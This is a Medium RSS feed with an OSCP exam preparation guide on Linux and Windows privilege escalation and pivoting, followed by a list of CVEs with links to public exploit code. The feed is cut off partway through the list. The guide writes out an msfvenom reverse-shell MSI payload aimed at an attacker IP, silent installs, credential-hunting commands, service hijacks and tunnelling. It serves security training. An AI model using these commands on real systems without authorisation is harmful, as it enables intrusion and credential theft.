<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Lafi Almutairi on Medium]]></title>
        <description><![CDATA[Stories by Lafi Almutairi on Medium]]></description>
        <link>https://medium.com/@saintlafi?source=rss-8f6598de6297------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*XgEY-shY87DHpPoYH8IG0w@2x.jpeg</url>
            <title>Stories by Lafi Almutairi on Medium</title>
            <link>https://medium.com/@saintlafi?source=rss-8f6598de6297------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 00:29:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@saintlafi/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[OSCP Preparation and Methodology]]></title>
            <link>https://systemweakness.com/oscp-preparation-and-methodology-52b51f823f1c?source=rss-8f6598de6297------2</link>
            <guid isPermaLink="false">https://medium.com/p/52b51f823f1c</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[oscp-certification]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <dc:creator><![CDATA[Lafi Almutairi]]></dc:creator>
            <pubDate>Wed, 03 May 2023 14:07:27 GMT</pubDate>
            <atom:updated>2023-05-16T10:18:22.545Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P73aoDozbWFoWaJC3nbAAA.jpeg" /></figure><p>In this guide I’m going to talk about the OSCP examination, how to prepare for it and how to pass.</p><p>I’m going to briefly talk about Linux systems but the main focus will be on Windows systems.</p><p>The contents will be divided into four sections:</p><p><strong><em>Foothold</em></strong></p><p><strong><em>Linux Systems</em></strong></p><p><strong><em>Windows Systems</em></strong></p><p><strong><em>Pivoting</em></strong></p><blockquote>little bit of background:</blockquote><p>I started PWK by the end last December and scheduled my exam on middle of March and i passed with 80 points. I did 33 PWK 2022 boxes and 1 PWK 2023 box, Also i did 41 Proving Grounds boxes.</p><p>I did few HTB boxes, very few maybe 10 maximum and i did not like it as a practice for OSCP and definitely you don’t need it as a practice for the exam, its fun CTF though for sharpen your skills.</p><p>The reason why i don’t recommend HTB is because its way too complicated for OSCP, complicated and unrealistic attack vectors and privilege escalation techniques which you will never encounter in examination environments nor in real life engagements.</p><h3>Foothold</h3><p>You need to understand that in order to get a foothold, you need to enumerate everything very well. every service is there for a reason and most of the services can be interacted with. I created a cherry tree notes for each service and its traditional approach to help me quickly identify the appropriate commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/301/1*ElrOzgJDnfvtGlb2jfRuSA.png" /><figcaption>My CherryTree Notes</figcaption></figure><p>However, that doesn’t mean to not look into other resources on the internet, for example <a href="https://book.hacktricks.xyz/welcome/readme">HackTricks</a>.</p><p>My enumeration methodology when i approach a certain target is to use two tools:</p><p><a href="https://github.com/wirzka/incursore.git"><strong>incursore</strong></a></p><p><a href="https://github.com/RustScan/RustScan"><strong>rustscan</strong></a></p><p>First i use <a href="https://github.com/wirzka/incursore.git"><strong>incursore</strong></a><strong> </strong>with the “All” flag to automate the enumeration process</p><pre>sudo incursore -H target -t All </pre><p>then i run <a href="https://github.com/RustScan/RustScan"><strong>rustscan</strong></a><strong> </strong>to quickly find certain services like SMB, NFS, FTP etc, for manual enumeration.</p><p>After incursore finish, i usually look for any hanging fruits, a really obvious and easy vulnerability which have a public exploit,</p><p>if there is no hanging fruit then i usually enumerate deeper by interacting with services like FTP, SMB, NFS, REDIS, POP3, SMTP etc, and finally the webserver if exists.</p><p>I always try to know whether I have write access or to find a way to upload a file or perhaps read a file which may contain sensitive information like a credentials, or maybe i find a certain file in these services can indicate a certain known vulnerable service is running on a unknown port.</p><p>Sometime services can be chained together to achieve a foothold if the environments was right , for example FTP and Redis, or FTP and a webserver, that is why you need to know how these services operate and function and the best way to get this experience in my opinion is by PWK Labs, PG practice and taking a good notes.</p><h3><strong>Linux Targets</strong></h3><p>Once you get a foothold don’t fire up linpeas or whatever PE tool you use, instead try to explore the machine and understand the current environment. Sometimes you don’t really need these scripts and tools if you pay little attention.</p><p>My methodology on Linux targets is quite simple and straightforward, if i’m a real user with a valid credentials i will see if i can run commands with sudo</p><pre>sudo -l</pre><p>Then if there is nothing interesting i look for suid binaries</p><pre>find / -perm -u=s -type f 2&gt;/dev/null</pre><p>if i get some exotic binaries and misconfiguration like cp or pkexec then i immediately stop everything and try to abuse them. They always says that make the kernel exploits your last resort which is correct in real life not examination in my opinion.</p><p>a great resource for abusing and exploiting suids binaries is <a href="https://gtfobins.github.io/">GTFOBins</a>.</p><p>Also i try to look for world writable folders and files, if you find a script or a file that is owned by root and writable by anyone you can simply modify it or replace it with a malicious one</p><pre>#World writable files directories<br>find / -writable -type d 2&gt;/dev/null<br>find / -perm -222 -type d 2&gt;/dev/null<br>find / -perm -o w -type d 2&gt;/dev/null<br><br># World executable folder<br>find / -perm -o x -type d 2&gt;/dev/null<br><br># World writable and executable folders<br>find / \( -perm -o w -perm -o x \) -type d 2&gt;/dev/null</pre><p>Another important PE vector is checking the running processes</p><pre>ps aux</pre><p>for example if you found that MySQL is running as root and you have a valid set of credentials for it (sometimes doesn’t require password) you can sign and retrieve admin/root password or simply use the following to execute commands as root</p><pre>select sys_exec(&#39;whoami&#39;);<br>select sys_eval(&#39;whoami&#39;);</pre><p>Sometime you can find an inside services running which is only available from host and can be vulnerable to some local privilege escalation.</p><pre>netstat -anlp<br>netstat -ano</pre><p>compare them with nmap output and do a little search you might find something interesting.</p><p>Check also for Cronjobs, look for running files or scripts that is owned by root or a privileged user and edited by you</p><pre>crontab -l<br>ls -alh /var/spool/cron<br>ls -al /etc/ | grep cron<br>ls -al /etc/cron*<br>cat /etc/cron*<br>cat /etc/at.allow<br>cat /etc/at.deny<br>cat /etc/cron.allow<br>cat /etc/cron.deny<br>cat /etc/crontab<br>cat /etc/anacrontab<br>cat /var/spool/cron/crontabs/root</pre><h3>Windows Targets</h3><p>This is the most important portion of the exam, if you mastered windows privilege escalation then the exam will be a swift and an easy journey, otherwise you will fail.</p><p>The first thing you do not want to do is running winpeas as soon as you land a shell because its output is overwhelming and most of it either you don’t need it or inaccurate.</p><p>I always look for the hanging fruits before i use any tool or scripts, i start by seeing what privilege do i have</p><pre>whoami /priv</pre><p>See what dangerous tokens are there to abuse, sometimes this is all you need to escalate your privileges, Check <a href="https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens">here </a>for more details.</p><p>Then i check for “AlwaysInstallElevated”</p><pre>reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated<br>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated</pre><p>If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY\SYSTEM.</p><p>Generating malicious MSI package using Msfvenom</p><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_ip LPORT=LOCAL_PORT -f msi -o malicious.msi</pre><p>Executing the malicious package on target system</p><pre>msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi</pre><p>Also i check for stored credentials using the follwing command</p><pre>cmdkey /list</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*PRV-MuxcIT24OfdDaSAkIg.png" /><figcaption>cmdkey /list output</figcaption></figure><p>Then using the stored credential with “runas” with the following command to get a cmd as that user</p><pre>runas /savecred /user:admin cmd.exe</pre><p>Another hanging fruit is powershell histroy</p><pre>type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt</pre><p>The command above will only work from cmd.exe, as Powershell won’t recognize %userprofile% as an environment variable.</p><p>Also i will look for windows installations files (unattended.xml) sometimes it will contains an administrator password.</p><p>This is common locations to find it:</p><ul><li>C:\Unattend.xml</li><li>C:\Windows\Panther\Unattend.xml</li><li>C:\Windows\Panther\Unattend\Unattend.xml</li><li>C:\Windows\system32\sysprep.inf</li><li>C:\Windows\system32\sysprep\sysprep.xml</li></ul><p>Possible content of unattended.xml:</p><pre>&lt;Credentials&gt;<br>    &lt;Username&gt;Administrator&lt;/Username&gt;<br>    &lt;Domain&gt;mega.corp&lt;/Domain&gt;<br>    &lt;Password&gt;MyPassword123&lt;/Password&gt;<br>&lt;/Credentials&gt;</pre><p>Also sometimes you can find a clear text passwords in some files.</p><p>Hunt for them</p><pre>findstr /si password *.txt<br>findstr /si password *.xml<br>findstr /si password *.ini<br><br>#Find all those strings in config files.<br>dir /s *pass* == *cred* == *vnc* == *.config*<br><br># Find all passwords in all files.<br>findstr /spin &quot;password&quot; *.*<br>findstr /spin &quot;password&quot; *.*</pre><p>These are common files to find them in. They might be base64-encoded. So look out for that</p><pre>c:\sysprep.inf<br>c:\sysprep\sysprep.xml<br>c:\unattend.xml<br>%WINDIR%\Panther\Unattend\Unattended.xml<br>%WINDIR%\Panther\Unattended.xml<br><br>dir c:\*vnc.ini /s /b<br>dir c:\*ultravnc.ini /s /b <br>dir c:\ /s /b | findstr /si *vnc.ini</pre><p>Search in registry as well</p><pre># VNC<br>reg query &quot;HKCU\Software\ORL\WinVNC3\Password&quot;<br><br># Windows autologin<br>reg query &quot;HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon&quot;<br><br># SNMP Paramters<br>reg query &quot;HKLM\SYSTEM\Current\ControlSet\Services\SNMP&quot;<br><br># Putty<br>reg query &quot;HKCU\Software\SimonTatham\PuTTY\Sessions&quot;<br><br># Search for password in registry<br>reg query HKLM /f password /t REG_SZ /s<br>reg query HKCU /f password /t REG_SZ /s</pre><blockquote>So now let’s recap what we did, we learned how to:</blockquote><p><strong>Abuse Windows Tokens</strong></p><p><strong>Detect and exploit vulnerable driver (AlwaysInstallElevated)</strong></p><p><strong>Abuse stored credentials using runas</strong></p><p><strong>Locate, hunt and gather sensitive information</strong></p><p>Without using winpeas or any other tool.</p><p>Now let’s talk about:</p><ul><li><strong>Unquoted Service Paths</strong></li><li><strong>Weak/Insecure Service Permissions</strong></li><li><strong>Scheduled Tasks</strong></li></ul><p>How we can exploit them?</p><p>I’m sure all of you knows about these vulnerabilities so let’s explain them in details</p><h4><strong>Unquoted Service Paths</strong></h4><p>The way to exploit this vulnerability is to place a malicious executable somewhere in the service path, and name it in a way that starts with the first few letters of the next directory in the service path. When the service starts, it will then execute the evil binary and grant remote SYSTEM access.</p><p>There’s multiple ways to detect this vulnerability, manually and using scripts like PowerUp</p><p>Manually: cmd</p><pre>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v &quot;C:\Windows\\&quot; | findstr /i /v &quot;&quot;&quot;</pre><p>Manually: Powershell</p><pre>Get-WmiObject -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.PathName -notlike &quot;C:\Windows*&quot; -and $_.PathName -notlike &#39;&quot;*&#39;} | select Name,DisplayName,StartMode,PathName</pre><p>Using PowerUp</p><pre>powershell -ep bypass<br>Import-Module .\PowerUp.ps1<br>Invoke-AllChecks </pre><p>The next step after detecting unquoted path is to check what permission do you have on this path</p><p>The permissions we are looking for on the folder are any one of the following three permissions:</p><ul><li>(F) Full Control</li><li>(M) Modify</li><li>(W) Write</li></ul><p>The user / group permissions we are looking for are the following:</p><ul><li>The user we are currently logged in as (%USERNAME%)</li><li>Authenticated Users</li><li>Everyone</li><li>BUILTIN\Users</li><li>NT AUTHORITY\INTERACTIVE</li></ul><p>Now we can use icacls to determine where we can insert our payload, For this step, we want to start our permissions check from left to right, like so:</p><pre>icacls C:\<br>icacls &quot;C:\Program Files&quot;<br>icacls &quot;C:\Program Files\Juggernaut Prod&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*GOkRawzMU26oA6T-vajXKA.png" /><figcaption>source (juggernaut sec)</figcaption></figure><p>We can now create a payload and name it Juggernaut.exe and move it to C:\Program Files\Juggernaut Prod\Juggernaut.exe</p><p>Now its all depends on whether we can restart the service or not</p><pre>sc stop Juggernaut<br>sc start Juggernaut</pre><p>if you don’t have authorization to start/stop the service then you can check whether you have the right to restart the system (SeShutdownPrivilege)</p><pre>whoami /priv</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*BtnlLXIGjCYUmr9YxIjvIQ.png" /><figcaption>SeShutdownPrivilege</figcaption></figure><p>Now simply run the following command to restart the system which will restart the service, make sure to start your listener before executing the command</p><pre>shutdown /r</pre><p>the /r flag is to tell the system to restart.</p><h4>insecure service permissions</h4><p>Now let’s talk about insecure/weak service permissions</p><p>it is similar to unquoted service path, however in this vulnerability we are not looking for unquoted path, instead we are looking for a service that is run by local system and modifiable by our user.</p><pre>wmic service list brief</pre><p>This will produce a lot out output and we need to know which one of all of these services have weak permissions. In order to check that we can use the icacls program.</p><p>As you can see in the command below you need to make sure that you have access to wimc, icacls and write privilege in C:\windows\temp.</p><pre>for /f &quot;tokens=2 delims=&#39;=&#39;&quot; %a in (&#39;wmic service list full^|find /i &quot;pathname&quot;^|find /i /v &quot;system32&quot;&#39;) do @echo %a &gt;&gt; c:\windows\temp\permissions.txt<br>for /f eol^=^&quot;^ delims^=^&quot; %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls &quot;%a&quot;</pre><p>Binaries in system32 are excluded since they are mostly correct, since they are installed by windows.</p><pre>sc query state= all | findstr &quot;SERVICE_NAME:&quot; &gt;&gt; Servicenames.txt<br>FOR /F %i in (Servicenames.txt) DO echo %i<br>type Servicenames.txt<br>FOR /F &quot;tokens=2 delims= &quot; %i in (Servicenames.txt) DO @echo %i &gt;&gt; services.txt<br>FOR /F %i in (services.txt) DO @sc qc %i | findstr &quot;BINARY_PATH_NAME&quot; &gt;&gt; path.txt</pre><p>Now you can process them one by one with the icacls command.</p><pre>icacls &quot;C:\path\to\file.exe&quot;</pre><p>Look for Weaknesses, what we are interested in is binaries that have been installed by the user. In the output you want to look for BUILTIN\Users:(F). Or where your user/usergroup has (F) or © rights.<br>Example:</p><p><strong>C:\path\to\file.exe <br>BUILTIN\Users:F<br>BUILTIN\Power Users:C <br>BUILTIN\Administrators:F <br>NT AUTHORITY\SYSTEM:F</strong></p><p>Also, we can identify SERVICE ALL ACCESS or SERVICE CHANGE CONFIG permissions using the <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk"><strong>accesschk</strong></a><strong> </strong>Sysinternals tool since these capabilities allow us to change service settings.</p><pre>accesschk.exe /accepteula –uwcqv yourusername servicename</pre><p>if you get “<strong>SERVICE_ ALL_ACCESS</strong>” or “<strong>SERVICE_CHANGE_CONFIG</strong>” permissions then its exploitable.</p><p>simply get your payload in the system and execute the following command</p><pre>sc config servicename binPath= &quot;C:\Users\Public\shell.exe&quot;<br>net start servicename </pre><h4>Scheduled Tasks</h4><p>Scheduled tasks in windows is simple and straightforward, our goal is to find a task that our user can overwrite or modify.</p><p>My way to do it is by copying all the tasks into a file then move it to my Kali for a quick detection.</p><p>First on target machine (windows)</p><pre>schtasks /query /fo LIST /v &gt; log.txt</pre><p>this will copy all tasks to log.txt, then send it to your kali by netcat for example.</p><p>Then on Kali (<strong>note: change the user name in the following command to what you are targeting.</strong>)</p><pre>cat log.txt | grep &quot;admin \|Task To Run&quot; | grep -B admin</pre><p>What we interesting in is “Task To Run” parameter which is what is the task executing and “Run As User” parameter is show the user that will be used to execute the task.</p><p>If our user has permission to modify or overwrite the “Task To Run” we can easily escalate our privilege</p><p>As always, to check whether our user have the right permission or not we can use icacls.</p><p>If we have the right permission then simply bring your payload to the target machine and overwrite or modify it by the “Task To Run” binary or whatever file it is and finally run it by executing the following command</p><pre>schtasks /run /tn /taskname</pre><p>Remember to start your listener first.</p><h4>Pivoting</h4><p>I’m going to be very simple, it is a big subject so I’m not going into much details. I think the best tool i used for pivoting is <a href="https://github.com/jpillora/chisel">chisel</a>, you can use other tools like plink if you want.</p><p>Start with Kali</p><pre>sudo nano proxychains4.conf<br><br>#puts the following at the end of the file <br><br>socks5 127.0.0.1 1080</pre><pre>./chisel server -p 8000 --reverse</pre><p>Then on target machine</p><pre>chisel.exe client 192.168.x.x:8000 R:socks</pre><p>Now you have a valid pivoting point, however this is not the purpose of this subject.</p><p>I’m going to create a simple scenario to make things clear:</p><p>Machine A (192.168.16.16 &amp; 172.16.16.16)</p><p>Machine B (172.16.16.17)</p><p>We only have access to Machine A, after we compromised it we discover another subnet which is 172.16.16.16. Now we created a pivoting point with the previous chisel commands, we can now reach 172.16.16.17.</p><p>Now after reaching 172.16.16.17 we compromised it and have a full administrator privileges. we start now our post exploitation phase and we need some tools like mimikatz for example, How can we transfer it from our Kali to the target 172.16.16.17 ?</p><p>The anwer is we use “netsh”. A native windows tool and a command-line scripting utility that allows you to display or modify the network configuration of a computer that is currently running.</p><p>Note that in order to use netsh, we need administrator/system privileges on Machine A and Machine B.</p><p>So now we start on Machine A (192.168.16.16/172.16.16.17)</p><pre>netsh interface portproxy add v4tov4 listenaddress=192.168.16.16 listenport=7777 connectaddress=Our_ip connectport=7777<br><br>#Also<br><br>netsh interface portproxy add v4tov4 listenaddress=172.16.16.17 listenport=7777 connectaddress=192.168.16.16 connectport=7777</pre><p>Notice the difference between both commands, it is to create a tunnel for transferring our files.</p><p>Finally on Machine B (172.16.16.17)</p><pre>netsh interface portproxy add v4tov4 listenaddress=172.16.16.17 listenport=7777 connectaddress=172.16.16.16 connectport=7777</pre><p>Take a good look at the ip addresses between the previous commands so you can get an idea of what this tool is creating.</p><p>Now we can transfer any file we want from our Kali to Machine B (172.16.16.17)</p><p>We start by hosting the file we want to transfer on Kali by using proxychains</p><pre>proxychains python -m http.server 7777</pre><p>Notice the port 7777 is the one we used in our tunnel.</p><p>Now on Machine B use certutil to retrieve your desired files.</p><p>Thanks for reading and I hope I helped you strengthen your skills. In case you want my note you can find them <a href="https://github.com/LafiAlmutairi/Pentest-Handbook">here</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=52b51f823f1c" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/oscp-preparation-and-methodology-52b51f823f1c">OSCP Preparation and Methodology</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[List of CVEs For OSCP Preparation]]></title>
            <link>https://systemweakness.com/list-of-cves-for-oscp-preparation-512e18e9ef3b?source=rss-8f6598de6297------2</link>
            <guid isPermaLink="false">https://medium.com/p/512e18e9ef3b</guid>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Lafi Almutairi]]></dc:creator>
            <pubDate>Tue, 15 Nov 2022 02:37:13 GMT</pubDate>
            <atom:updated>2023-02-24T13:26:43.510Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*781wkO4tF7Pzoh83VLnYZA.png" /></figure><p><em>Checkout my personal notes on </em><a href="https://github.com/LafiAlmutairi/Pentest-Handbook"><em>github</em></a><em>, it’s a handbook i made using cherrytree that consists of many usefull commands for passing the OSCP or even doing an actual penetration tests.</em></p><p>If you planing to take your OSCP exam, this is a list of CVEs you want to be familiar with. Each one is tailored for a specific scenario and you probably going to find yourself in these scenarios on your exam. This list comes with simple description as usual for each CVE.</p><p>CVE-2014–6271 Shellshock PoC <a href="https://github.com/zalalov/CVE-2014-6271">https://github.com/zalalov/CVE-2014-6271</a></p><blockquote>GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka “ShellShock.” NOTE: the original fix for this issue was incorrect; CVE-2014–7169 has been assigned to cover the vulnerability that is still present after the incorrect fix.</blockquote><p>CVE-2016–5195 Dirty COW <a href="https://github.com/firefart/dirtycow">https://github.com/firefart/dirtycow</a></p><blockquote>Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by leveraging incorrect handling of a copy-on-write (COW) feature to write to a read-only memory mapping, as exploited in the wild in October 2016, aka “Dirty COW.”</blockquote><p>CVE-2017–0199 RTF Dynamite <a href="https://github.com/bhdresh/CVE-2017-0199">https://github.com/bhdresh/CVE-2017-0199</a></p><blockquote>a vulnerability in Microsoft Word that allows an attacker to execute a malicious Visual Basic script. The CVE-2017–0199 vulnerability is a logic bug and bypasses most mitigations.</blockquote><p>CVE-2018–10933 libSSH Authentication Bypass <a href="https://github.com/blacknbunny/CVE-2018-10933">https://github.com/blacknbunny/CVE-2018-10933</a></p><blockquote>A vulnerability was found in libssh’s server-side state machine before versions 0.7. 6 and 0.8. 4. A malicious client could create channels without first performing authentication, resulting in unauthorized access.</blockquote><p>CVE-2018–16509 Ghostscript <a href="https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509">https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509</a></p><blockquote>An issue was discovered in Artifex Ghostscript before 9.24. Incorrect “restoration of privilege” checking during handling of /invalidaccess exceptions could be used by attackers able to supply crafted PostScript to execute code using the “pipe” instruction.</blockquote><p>CVE-2019–18634 sudo <a href="https://github.com/saleemrashid/sudo-cve-2019-18634">https://github.com/saleemrashid/sudo-cve-2019-18634</a></p><blockquote>In Sudo before 1.8.26, if pwfeedback is enabled in /etc/sudoers, users can trigger a stack-based buffer overflow in the privileged sudo process. (pwfeedback is a default setting in Linux Mint and elementary OS; however, it is NOT the default for upstream and many other packages, and would exist only if enabled by an administrator.) The attacker needs to deliver a long string to the stdin of getln() in tgetpass.c.</blockquote><p>CVE-2019–5736 Exploiting RunC <a href="https://github.com/Frichetten/CVE-2019-5736-PoC">https://github.com/Frichetten/CVE-2019-5736-PoC</a></p><blockquote>runc through 1.0-rc6, as used in Docker before 18.09.2 and other products, allows attackers to overwrite the host runc binary (and consequently obtain host root access) by leveraging the ability to execute a command as root within one of these types of containers: (1) a new container with an attacker-controlled image, or (2) an existing container, to which the attacker previously had write access, that can be attached with docker exec. This occurs because of file-descriptor mishandling, related to /proc/self/exe.</blockquote><p>CVE-2019–6447 ES File Explorer Open Port Vulnerability <a href="https://github.com/fs0c131y/ESFileExplorerOpenPortVuln">https://github.com/fs0c131y/ESFileExplorerOpenPortVuln</a></p><blockquote>The ES File Explorer File Manager application through 4.1.9.7.4 for Android allows remote attackers to read arbitrary files or execute applications via TCP port 59777 requests on the local Wi-Fi network. This TCP port remains open after the ES application has been launched once, and responds to unauthenticated application/json data over HTTP.</blockquote><p>CVE-2019–7304 dirty_sock <a href="https://github.com/initstring/dirty_sock">https://github.com/initstring/dirty_sock</a></p><blockquote>Canonical snapd before version 2.37.1 incorrectly performed socket owner validation, allowing an attacker to run arbitrary commands as root. This issue affects: Canonical snapd versions prior to 2.37.1.</blockquote><p>CVE-2020–1472 ZeroLogon Testing Script <a href="https://github.com/SecuraBV/CVE-2020-1472">https://github.com/SecuraBV/CVE-2020-1472</a></p><blockquote>An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC). An attacker who successfully exploited the vulnerability could run a specially crafted application on a device on the network.</blockquote><blockquote>To exploit the vulnerability, an unauthenticated attacker would be required to use MS-NRPC to connect to a domain controller to obtain domain administrator access.</blockquote><p>CVE-2020–1472 ZeroLogon Exploitation Script <a href="https://github.com/risksense/zerologon">https://github.com/risksense/zerologon</a></p><blockquote>An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC). An attacker who successfully exploited the vulnerability could run a specially crafted application on a device on the network.</blockquote><blockquote>To exploit the vulnerability, an unauthenticated attacker would be required to use MS-NRPC to connect to a domain controller to obtain domain administrator access.</blockquote><p>CVE-2021–1675,CVE-2021–34527 PrintNightmare <a href="https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527">https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527</a></p><blockquote>Windows Print Spooler Elevation of Privilege Vulnerability</blockquote><p>CVE-2021–1675 PrintNightmare LPE (PowerShell) <a href="https://github.com/calebstewart/CVE-2021-1675">https://github.com/calebstewart/CVE-2021-1675</a></p><blockquote>Windows Print Spooler Elevation of Privilege Vulnerability</blockquote><p>CVE-2021–21972 vCenter RCE <a href="https://github.com/horizon3ai/CVE-2021-21972">https://github.com/horizon3ai/CVE-2021-21972</a></p><blockquote>The vSphere Client (HTML5) contains a remote code execution vulnerability in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).</blockquote><p>CVE-2021–22204 GitLab Exiftool RCE <a href="https://github.com/CsEnox/Gitlab-Exiftool-RCE">https://github.com/CsEnox/Gitlab-Exiftool-RCE</a></p><blockquote>Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image</blockquote><p>CVE-2021–22204 GitLab Exiftool RCE Python Implementation <a href="https://github.com/convisolabs/CVE-2021-22204-exiftool">https://github.com/convisolabs/CVE-2021-22204-exiftool</a></p><blockquote>Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image (Gitlab)</blockquote><p>CVE-2021–26085 Confluence Server RCE <a href="https://github.com/Phuong39/CVE-2021-26085">https://github.com/Phuong39/CVE-2021-26085</a></p><blockquote>Affected versions of Atlassian Confluence Server allow remote attackers to view restricted resources via a Pre-Authorization Arbitrary File Read vulnerability in the /s/ endpoint. The affected versions are before version 7.4.10, and from version 7.5.0 before 7.12.3.</blockquote><p>CVE-2021–27928 MariaDB/MySQL-‘wsrep provider’ <a href="https://github.com/Al1ex/CVE-2021-27928">https://github.com/Al1ex/CVE-2021-27928</a></p><blockquote>A remote code execution issue was discovered in MariaDB 10.2 before 10.2.37, 10.3 before 10.3.28, 10.4 before 10.4.18, and 10.5 before 10.5.9; Percona Server through 2021–03–03; and the wsrep patch through 2021–03–03 for MySQL. An untrusted search path leads to eval injection, in which a database SUPER user can execute OS commands after modifying wsrep_provider and wsrep_notify_cmd. NOTE: this does not affect an Oracle product.</blockquote><p>CVE-2021–3129 Laravel Framework RCE <a href="https://github.com/nth347/CVE-2021-3129_exploit">https://github.com/nth347/CVE-2021-3129_exploit</a></p><blockquote>Ignition before 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2.</blockquote><p>CVE-2021–3156 Sudo 1.8.31 Root Exploit <a href="https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit">https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit</a></p><blockquote>Sudo before 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via “sudoedit -s” and a command-line argument that ends with a single backslash character.</blockquote><p>CVE-2021–3560 PwnKit C Implementation <a href="https://github.com/hakivvi/CVE-2021-3560">https://github.com/hakivvi/CVE-2021-3560</a></p><blockquote>It was found that polkit could be tricked into bypassing the credential checks for D-Bus requests, elevating the privileges of the requestor to the root user. This flaw could be used by an unprivileged local attacker to, for example, create a new local administrator. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.</blockquote><p>CVE-2021–3560 polkit Privilege Escalation <a href="https://github.com/Almorabea/Polkit-exploit">https://github.com/Almorabea/Polkit-exploit</a></p><blockquote>It was found that polkit could be tricked into bypassing the credential checks for D-Bus requests, elevating the privileges of the requestor to the root user. This flaw could be used by an unprivileged local attacker to, for example, create a new local administrator. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.</blockquote><p>CVE-2021–3560 polkit Privilege Esclation PoC <a href="https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation">https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation</a></p><blockquote>It was found that polkit could be tricked into bypassing the credential checks for D-Bus requests, elevating the privileges of the requestor to the root user. This flaw could be used by an unprivileged local attacker to, for example, create a new local administrator. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.</blockquote><p>CVE-2021–36934 HiveNightmare <a href="https://github.com/GossiTheDog/HiveNightmare">https://github.com/GossiTheDog/HiveNightmare</a></p><blockquote>Windows Elevation of Privilege Vulnerability.</blockquote><p>CVE-2021–4034 Pkexec Self-contained Exploit <a 